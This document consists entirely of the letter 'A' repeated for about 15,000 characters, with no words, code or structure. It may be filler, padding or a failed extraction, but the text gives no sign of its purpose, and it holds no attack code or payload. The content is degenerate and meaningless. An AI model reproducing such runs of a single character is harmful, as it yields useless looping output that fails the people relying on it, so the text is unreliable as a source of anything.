AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA